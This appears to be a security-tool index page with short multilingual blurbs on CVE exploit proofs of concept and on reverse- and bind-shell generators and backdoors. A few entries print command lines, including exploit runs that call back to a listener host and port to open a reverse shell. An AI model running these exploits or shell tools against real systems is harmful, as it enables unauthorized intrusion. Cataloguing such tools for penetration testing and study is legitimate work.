CVE-2025-9074

CVE-2025-9074 – Docker Desktop Windows Container→Host-Schreiben über exponierte Engine-API Autor: w01f Status: Proof-of-Concept nur für Bildungszwecke / autorisierte Tests Überblick Dieses Projekt demonstriert einen PoC für CVE-2025-9074 , eine Fehlkonfiguration/Exposition in bestimmten Versionen...

CVE-2024-27348

🔥 CVE-2024-27348 Exploitation-Toolkit 🎓 Akademisches Projekt 📚 Kurs: FC411 - Secure Network Design 👨‍🏫 Dozent: Dr. Maira Sultan 🏫 Universität: University of Prince Mugrin 📅 Jahr: 2025 ⚡ Ein komplettes Toolkit zur Ausnutzung von CVE-2024-27348 Apache Huge-Graph-Server, entwickelt im Rahmen der...

docker_cve-2015-2925

Docker + CVE-2015-2925 = Ausbrechen aus --volume Eine kürzlich entdeckte Schwachstelle in Linux, die seit etwa einem halben Jahr bekannt ist seit mehreren Monaten öffentlich, ermöglicht es, aus bind mounts auszubrechen. Insbesondere bei Docker ist es möglich, aus dem Verzeichnis, das über die...

postshell

PostShell PostShell ist eine Post-Exploitation-Shell, die sowohl eine Bind-Shell als auch eine Back-Connect-Shell umfasst. Sie erstellt ein vollständig interaktives TTY, das Job Control ermöglicht. Die Stub-Größe beträgt etwa 14 KB und kann auf jedem Unix-ähnlichen System kompiliert werden...

socks5

socks5 Server e client Socks5/Socks5h Questo progetto aggiunge il supporto del protocollo per il Bridge, oppure può essere usato autonomamente Utilizzo Documentazione API Esempio Supporto per il comando CONNECT Supporto per il comando BIND Supporto per il comando ASSOCIATE Licenza...

nginxhack

Questo è uno strumento che sfrutta un exploit chiamato CVE-2013-2028 per eseguire una bind shell sul server di destinazione che esegue Nginx 1.3.9 o 1.4.0. Può essere scaricato qui dovrai eseguirlo dalla riga di comando Utilizzo: nginxhack target target port target bind port...

CVE-2017-3143

TSIG-Bypass-Exploit Exploit für CVE-2017-3143 in Bind und CVE-2017-11104 in Knot DNS. Weitere Informationen finden Sie unter https://www.synacktiv.com/ressources/CVE-2017-3143BIND9TSIGdynamicupdatesvulnerabilitySynacktiv.pdf. Autor Clément Berthaux - clement dot berthaux at synacktiv dot com...

CVE-2016-2776

CVE-2016-2776 Eine Geschichte über ein DNS-Paket, ein detaillierter Durchlauf und Proof of Concept von BINDs CVE-2016-2776. http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html In diesem Repository finden Sie: Proof-of-Concept namedown.py Metasploit Auxiliary Module...

ShellPop

ShellPop Über ShellPop dreht sich alles um das Erstellen von Shells. Mit diesem Tool können Sie einfache und anspruchsvolle Reverse- oder Bind-Shell-Befehle generieren, um Ihnen bei Penetrationstests zu helfen. Verschwenden Sie keine Zeit mehr mit .txt-Dateien, die Ihre Reverse-Shells speichern!...

CVE-2026-21017-LDAP-Anonymous-Bind-Privilege-Escalation

CVE-2026-21017 – Privilegieneskalation durch anonymen LDAP-Bind Programmcode Python-ldap3-Simulation root@kitploit: ldapanonsim.py - LDAP server allowing anonymous bind with write access from ldap3 import Server, Connection, ALL Simulated: real server would be misconfigured server =...

revsh

revsh revsh è uno strumento per stabilire reverse shell con supporto terminale, VPN reverse per pivoting avanzato, oltre al tunneling arbitrario di dati. News 2018-08-09 : Nuova release. Principalmente correzioni di bug/stabilità e migliore documentazione sul processo di build con OpenSSL 1.1.0...

CVE-2024-21006_jar

CVE-2024-21006jar exp-Code-Referenz: https://github.com/momika233/CVE-2024-21006 Hier wurde der Quellcode in ein JAR-Paket kompiliert, um die Nutzung zu erleichtern. Unter lib liegen die Abhängigkeitsdateien. Falls du den Quellcode ändern möchtest, kannst du ihn selbst kompilieren. Verwendung...

CVE-2020-0796

CVE-2020-0796 動作するエクスプロイトPoC CVE-2020-0796 - リバースバインドシェル Python2.7でテスト済み インストール方法: pip install -r requirements.txt 実行方法: python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2020-0688

CVE-2020-0688 Funktionierender Exploit PoC CVE-2020-0688 - Reverse Bind Shell Getestet mit Python2.7 Installation: pip install -r requirements.txt Ausführung: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2020-8617

CVE-2020-8617 PoC für CVE-2020-8617 Nur für Bildungszwecke Ausführen Dieses Image führt einen Standard-BIND-Server aus, der automatisch einen tkey "local-ddns" generiert. root@kitploit: $ docker run --rm --name cve-2020-8617 -it -p 53:53/udp knqyf263/cve-2020-8617 Exploit root@kitploit: $ pipenv...

CVE-2019-6467

CVE-2019-6467 BIND nxdomain-redirect Nur für Bildungszwecke Ausführung root@kitploit: $ docker run --rm --name cve-2019-6467 -it -p 53:53/udp knqyf263/cve-2019-6467 Exploit Normale Abfrage root@kitploit: $ dig @127.0.0.1 nxdomain.example.com nxdomain kann durch alles ersetzt werden, was einen nic...

serval

Um backdoor estilo Netcat para testes de penetração e desafios de pentest Serval é um binário leve e fácil de usar para gerar shells reversas e bind para pentests ou exercícios de pentest. Serval é multiplataforma e pode ser compilado para Windows 32 e 64 bits e Linux 32 e 64 bits. Nota: Devido à...

shellerator

Shellerator Shellerator è uno strumento CLI/TUI semplice pensato per aiutare i penetration tester a generare rapidamente shell reverse, bind e web in diversi linguaggi di programmazione come Bash, Powershell, Netcat, PHP, ASPX, ecc. Un altro progetto simile per la generazione di comandi di downlo...

cve-2018-5740

CVE-2018-5740 PoC Named, das eine Antwort von einem legitimen autoritativen Server erhält, wird durch CVE-2018-5740 zum Absturz gebracht. DATEIEN named.conf: BIND-Konfigurationsdatei für den autoritativen Server. example.com: Zonendatei für den autoritativen Server. named-full-resolver.conf:...

GoSH

GoSH Generatore di shell reverse/bind in Golang Descrizione Questo strumento genera un binario Go che avvia una shell del tipo desiderato sull'host di destinazione. Il binario della shell può essere compilato per più piattaforme, supporta il polimorfismo parziale nomi unici delle funzioni e può...